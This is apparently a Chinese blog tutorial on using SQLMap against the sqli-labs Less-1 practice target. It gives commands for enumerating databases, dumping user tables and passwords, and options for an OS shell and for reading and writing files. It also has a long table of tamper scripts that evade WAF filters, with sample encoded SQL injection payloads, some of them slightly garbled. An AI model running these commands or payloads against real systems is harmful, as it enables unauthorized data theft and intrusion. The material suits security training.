SQLMap使用
SQLMap入门
这里以sql–labs Less-1为例,介绍sqlmap的基本使用方法
判断是否存在注入
1 | sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 |
结果如下所示
可以看到检测到了系统、数据库、php的信息,上面还有注入点信息以及相应的payload
判断文本种的请求是否存在注入
SQLMap可以加载文件中的HTTP请求,这样就不用手动设置其他参数,
查询数据库中的信息
查询所有数据库sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 --dbs
获取数据库中的表名sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 -D security --tables
获取表中的字段名sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 -D security -T users --columns
获取字段的内容sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 -D security -T users -C username,password --dump
获取数据库用户的密码sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 --passwords
获取当前网站数据库的名称 sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 --current-db
获取当前网站的用户名称sqlmap.py -u http://43.247.91.228:84/Less-1/?id=1 --current-user
SQLMap进阶
功能 | 参数 |
---|---|
探测等级 | –level (一共有五个等级) |
当前用户是否为管理员权限 | –is-dba |
列出数据库管理员角色 | –roles |
HTTP Referer头 | –referer |
运行自定义SQL语句 | –sql-shell |
运行任意操作系统命令 | –os-cmd,–os-shell |
从数据库服务器中读取文件 | –file-read |
上传文件到数据库服务器中 | –file-write –file-dest |
SQLMap自带绕过脚本
支持所有数据库的脚本
脚本名称 | 作用 | 示例 |
---|---|---|
apostrophemask.py | 用utf8代替引号 | (“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’ |
base64encode.py | 用base64编码替换 | (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ |
multiplespaces.py | 围绕SQL关键字添加多个空格 | (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’ |
space2plus.py | 用+替换空格 | (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’ |
nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters | (‘1 UNION SELECT 2–’) ‘1 UNIOUNIONN SELESELECTCT 2–’ |
space2randomblank.py | 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 | (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’ |
unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’ |
securesphere.py | 追加特制的字符串 | (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having’” |
Mysql
脚本名称 | 作用 | 示例 |
---|---|---|
space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | ‘1 AND 9227=9227’ ‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’ |
equaltolike.py | like 代替等号 | Input: SELECT FROM users WHERE id=1 2 Output: SELECT FROM users WHERE id LIKE 1 |
space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers |
space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ |
between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ |
percentage.py | asp允许每个字符前面添加一个%号 | Input: SELECT FIELD FROM TABLE Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | (‘1 AND 9227=9227– ‘) ‘1 AND 9227=9227– sp_password’ |
charencode.py | url编码 | Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
randomcase.py | 随机大小写 | Input: INSERT Output: InsERt |
charunicodeencode.py | 字符串 unicode 编码 | Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
space2comment.py | 用‘/**/’ 替换空格 | Input: SELECT id FROM users Output: SELECT//id//FROM/**/users |
mysql >= 5.1.13
脚本名称 | 作用 | 示例 |
---|---|---|
equaltolike.py | like 代替等号 | Input: SELECT FROM users WHERE id=1 Output: SELECT FROM users WHERE id LIKE 1 |
greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ |
ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | (‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’ |
space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ |
modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | (‘1 AND 2>1–’) ‘1 /!30874AND 2>1/–’ |
space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users |
between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ |
modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | (‘1 AND 2>1–’) ‘1 /!00000AND 2>1/–’ |
space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | (‘1 AND 9227=9227’) ‘1–%0AAND–%0A9227=9227’ |
bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like | (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’ |
percentage.py | asp允许每个字符前面添加一个%号 | Input: SELECT FIELD FROM TABLE Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
charencode.py | url编码 | Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
randomcase.py | 随机大小写 | Input: INSERT Output: InsERt |
versionedkeywords.py | 用版本化的MySQL注释将每个非函数关键字括起来 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))# |
space2comment.py | 用‘/**/’ 替代空格 | Input: SELECT id FROM users Output: SELECT//id//FROM/**/users |
charunicodeencode.py | 字符串 unicode 编码 | Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
versionedmorekeywords.py | 注释绕过 | `Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#` |
MySQL < 5.1
脚本名称 | 作用 | 示例 |
---|---|---|
halfversionedmorekeywords.py | 关键字前加注释 | Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’=’QDWa |
halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 | 1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") ` 2.”value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa”` |
MySQL >= 5.1.13
脚本名称 | 作用 | 示例 |
---|---|---|
space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | Input: 1 AND 9227=9227 Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Oracle
脚本名称 | 作用 | 示例 |
---|---|---|
greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ |
between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ |
charencode.py | url编码 | Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
randomcase.py | 随机大小写 | Input: INSERT Output: InsERt |
charunicodeencode.py | 字符串 unicode 编码 | Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | Input: SELECT id FROM users Output: SELECT//id//FROM/**/users |
PostgreSQL
脚本名称 | 作用 | 示例 |
---|---|---|
greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ |
between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ |
percentage.py | asp允许每个字符前面添加一个%号 | Input: SELECT FIELD FROM TABLE Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
charencode.py | url编码 | Input: SELECT FIELD FROM%20TABLE Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 |
randomcase.py | 随机大小写 | Input: INSERT Output: InsERt |
charunicodeencode.py | 字符串 unicode 编码 | Input: SELECT FIELD%20FROM TABLE Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | Input: SELECT id FROM users Output: SELECT//id//FROM/**/users |
Access
脚本名称 | 作用 | 示例 |
---|---|---|
appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | (‘1 AND 1=1’) ‘1 AND 1=1%00’ |
脚本名称 | 作用 | 示例 | |
---|---|---|---|
chardoubleencode.py | 双url编码(不处理以编码的) | Input: SELECT FIELD FROM%20TABLE Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 |
|
unmagicquotes.py | 宽字符绕过 GPC addslashes | Input: 1′ AND 1=1 Output: 1%bf%27 AND 1=1–%20 |
Input: 1′ AND 1=1 Output: 1%bf%27 AND 1=1–%20 |
randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ | ‘INSERT’ becomes ‘IN//S//ERT’ |
本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/936c561b.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!